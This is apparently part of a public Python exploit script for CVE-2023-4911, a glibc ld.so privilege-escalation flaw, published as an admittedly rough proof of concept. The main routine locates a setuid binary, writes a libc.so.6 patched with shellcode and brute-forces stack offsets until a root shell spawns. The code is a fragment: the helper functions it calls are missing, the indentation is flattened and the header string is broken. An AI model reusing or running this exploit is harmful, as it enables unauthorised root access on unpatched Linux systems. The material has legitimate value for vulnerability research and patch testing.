#
# gnu-acme.py
# ------------------------------------------------------------------------------
# my (bad) attempt at a CVE-2023-4911 exploit
# based on the advisory[1] by Qualys and thumb sucking
#
# if you disable aslr (echo 0 > /proc/sys/kernel/randomize_va_space) it will
# attempt to identify a workable offset for your ld.so, you can add it to TARGETS
#
# tested on glibc 2.35-0ubuntu3 (aarch64) and glibc 2.36-9+deb12u2 (amd64)
#
# enjoy, maybe? and don't ask for support :)
#
# -- blasty -- ")
print("")
if __name__ == "__main__":
banner()
machine = os.uname().machine
if machine not in ARCH.keys():
error("architecture '%s' not supported" % machine)
print("[i] libc = %s" % lib_path("c").decode())
if len(sys.argv) == 1:
suid_path = which("su")
suid_args = ["--help"]
else:
suid_path = sys.argv[1]
suid_args = sys.argv[2:]
lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8
print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args))
suid_e = lazy_elf(suid_path)
ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()
ld_e = lazy_elf(ld_path)
print("[i] ld.so = %s" % ld_path)
ld_build_id = binascii.hexlify(
ld_e.section_by_name(".note.gnu.build-id")[-20:]
).decode()
print("[i] ld.so build id = %s" % ld_build_id)
libc_e = lazy_elf(lib_path("c"))
__libc_start_main = libc_e.symbol("__libc_start_main")
if __libc_start_main == None:
error("could not resolve __libc_start_main")
print("[i] __libc_start_main = 0x%x" % __libc_start_main)
offset = suid_e.shdr_by_name(".dynstr")["offset"]
hax_path = find_hax_path(suid_e.d, offset)
if hax_path is None:
error("could not find hax path")
print(
"[i] using hax path %s at offset %d"
% (
hax_path["path"],
hax_path["offset"],
)
)
if not os.path.exists(hax_path["path"]):
os.mkdir(hax_path["path"])
argv = build_argv([suid_path] + suid_args)
shellcode = (
ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
)
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
fh.write(libc_e.d[0:__libc_start_main])
fh.write(shellcode)
fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
print("[i] wrote patched libc.so.6")
if not is_aslr_enabled():
print("[i] ASLR is not enabled, attempting to find usable offsets")
stack_addr = ARCH[machine]["stack_top"] - 0x1F00
stack_addr += lsb
print("[i] using stack addr 0x%x" % stack_addr)
for adjust in range(128, 1024):
env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
r = spawn(suid_path.encode(), argv, env)
if r == 0x66:
print(
"found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
)
else:
if ld_build_id not in TARGETS.keys():
error("no target info found for build id %s" % ld_build_id)
stack_addr = ARCH[machine]["stack_top"] - (
1 << (ARCH[machine]["stack_aslr_bits"] - 1)
)
stack_addr += lsb
# avoid NULL bytes in guessy addr (out of sheer laziness really)
for i in range(6 if suid_e.bits == 64 else 4):
if (stack_addr >> (i * 8)) & 0xFF == 0:
stack_addr |= 0x10 << (i * 8)
print("[i] using stack addr 0x%x" % stack_addr)
env = build_env(
TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
)
cnt = 1
while True:
if cnt % 0x10 == 0:
sys.stdout.write(".")
sys.stdout.flush()
if spawn(suid_path.encode(), argv, env) == 0x1337:
print("goodbye. (took %d tries)" % cnt)
exit(0)
cnt += 1